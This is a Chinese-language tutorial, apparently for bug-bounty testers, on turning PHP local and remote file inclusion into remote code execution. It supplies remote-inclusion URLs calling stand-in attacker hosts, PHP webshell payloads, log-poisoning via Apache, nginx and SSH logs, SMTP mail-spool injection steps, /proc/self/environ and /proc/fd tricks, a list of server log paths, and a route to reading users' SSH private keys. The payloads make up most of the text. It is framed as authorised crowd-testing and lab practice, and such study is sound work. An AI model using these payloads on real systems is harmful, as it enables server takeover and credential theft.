前言
大家在参加众测的行动时,若是发现了以下基础危害不大的漏洞,不建议直接提交的,而是应该想办法看,能不能对该漏洞进行升级,扩大其危害,多拿点奖励。当然,文件包含不算常见,经常出现在php程序中
远程文件包含(RFI)
http://www.baidu.com/?page=http://hack.com/1.php
http://www.baidu.com/?page=\\attacker.com\shared\mal.php
通过上传
上传任意格式后缀包含shell代码的文件,然后包含该文件即可。
通过apache日志
中间件的日志是及其容易受到文件包含攻击的,例如:可以通过在GET URL时,在参数中填写<?php eval($_GET['a']);?>,这样,恶意内容就会被包含到web日志中,在通过包含该日志,即可成功的进行代码执行。
常见中间件日志位置
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
尝试将恶意代码写入到日志中。
可以看到,相关内容是有的,只不过是权限过低,无法读取到。
通过邮件
条件:要求对应的服务器需要开放25端口
1、通过向系统内部用户发送包含<?php echo system($_REQUEST["cmd"]); ?>内容的邮件。
2、包含/var/mail/[usernamme*]&cmd=whoami,就可以成功的执行whoami命令了。
实验过程
- 使用telnet 或者nc 直接链接目标主机的25端口
2.SMTP 协议规定,连接成功后,必须向邮件服务器提供连接的域名,也就是邮件将从哪台服务器发来。使用EHLO命令或者HELO(现在用的较少)
EHLO www.test.com
发送命令成功,并且列出了smpt 服务支持的扩展
3.使用VRFY 可以验证邮箱是否存在25X的好像都是存在的。
4.指定发件任何要发送给谁 MAIL FROM 和 RCPT TO
5.输入DATA 之后进行输入输入,输入完数据进行两次会车,然后输入".",然后再回车,结束输入,邮件发送成功。
6.只要文件包含/var/mail/msfadmin,即可成功达成RCE了。
这个时候我们登录实验机器,cat一下这个文件,就可以看到代码确实被输入到这个里面了。
通过 /proc/self/environ
经过测试,是可行的
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
通过php session
这个要看具体程序了,需要程序会将失败的用户名等内容写入到php session中。DVWA就不会将失败的内容写入,所以包含也不会成功的。
通过 /proc/*/fd/
就是程序打开的文件,如果打开的某些文件可控的话,可以向其中注入内容,然后包含该文件即可。
例如
/proc/self/fd/3 可以看出来这个是php session 文件,如果可以向session文件中写入内容的话,那么就可以成功包含相关内容了。
通过ssh
可以通过/proc/self/status 去读到进程的uid和gid,然后读取/etc/password 的内容,知道自己是什么用户,读取用户的登录私钥,如果用户配置了可以通过密钥登录,那么就成了。 /.ssh/ssh_rsa
通过其他服务的日志
例如通过ftp、ssh等
读取日志的时候发现可以读取auth.log 尝试向ssh日志中添加恶意代码,然后包含,成功。
记得输入yes,小问题,小问题
以上都是常见的,如果还是无法解决问题,可以参考这个文档中的其他方式
https://book.hacktricks.xyz/pentesting-web/file-inclusion#via-ssh
参考
https://pswalia2u.medium.com/turning-lfi-into-rce-by-sending-emails-via-smtp-58b499a81de3
https://www.sqlsec.com/2017/08/smtp.html#%E7%AE%80%E4%BB%8B
https://pswalia2u.medium.com/turning-lfi-into-rce-by-sending-emails-via-smtp-58b499a81de3
https://book.hacktricks.xyz/pentesting-web/file-inclusion